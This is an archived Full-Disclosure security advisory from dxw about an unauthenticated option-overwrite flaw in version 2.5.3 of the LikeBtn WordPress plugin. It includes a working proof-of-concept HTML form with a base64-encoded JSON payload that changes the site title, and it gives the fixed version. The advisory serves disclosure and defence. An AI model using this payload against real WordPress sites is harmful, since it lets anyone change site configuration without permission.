lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <329beb289af274b309221577a3650def@advisories.dxw.com> Date: Tue, 10 Apr 2018 14:02:02 +0000 From: dxw Security <harry@....com> To: fulldisclosure@...lists.org Subject: [FD] Like Button Rating ♥ LikeBtn allows anybody to set any option (WordPress plugin) Details ================ Software: Like Button Rating ♥ LikeBtn Version: 2.5.3 Homepage: https://wordpress.org/plugins/likebtn-like-button/ Advisory report: https://advisories.dxw.com/advisories/likebtn-set-any-option/ CVE: Awaiting assignment CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N) Description ================ Like Button Rating ♥ LikeBtn allows anybody to set any option Vulnerability ================ In the init action, this plugin checks to see if $_POST[\'likebtn_import_config\'] is empty. If it’s not empty then it base64-decodes the string, parses it as JSON, and starts changing options. Proof of concept ================ The below form will set the “Site Title” option to “Temmie”: <form method=\"POST\" action=\"http://localhost/\"> <input type=\"text\" name=\"likebtn_import_config\" value=\"ewogICJsaWtlYnRuX3NldHRpbmdzX29wdGlvbnMiOiB7CiAgICAiYmxvZ25hbWUiOiAiVGVtbWllIgogIH0KfQo=\"> <input type=\"submit\"> </form> This works whether you’re logged in or not. The base64-encoded JSON above is this: { \"likebtn_settings_options\": { \"blogname\": \"Temmie\" } } Mitigations ================ Upgrade to version 2.5.4 or later. Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/ Please contact us on security@....com to acknowledge this report if you received it via a third party (for example, plugins@...dpress.org) as they generally cannot communicate with us on your behalf. This vulnerability will be published if we do not receive a response to this report with 14 days. Timeline ================ 2017-10-27: Discovered 2017-11-02: Reported to vendor via email 2017-11-02: Vendor reported fixed Discovered by dxw: ================ Tom Adams Please visit security.dxw.com for more information. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists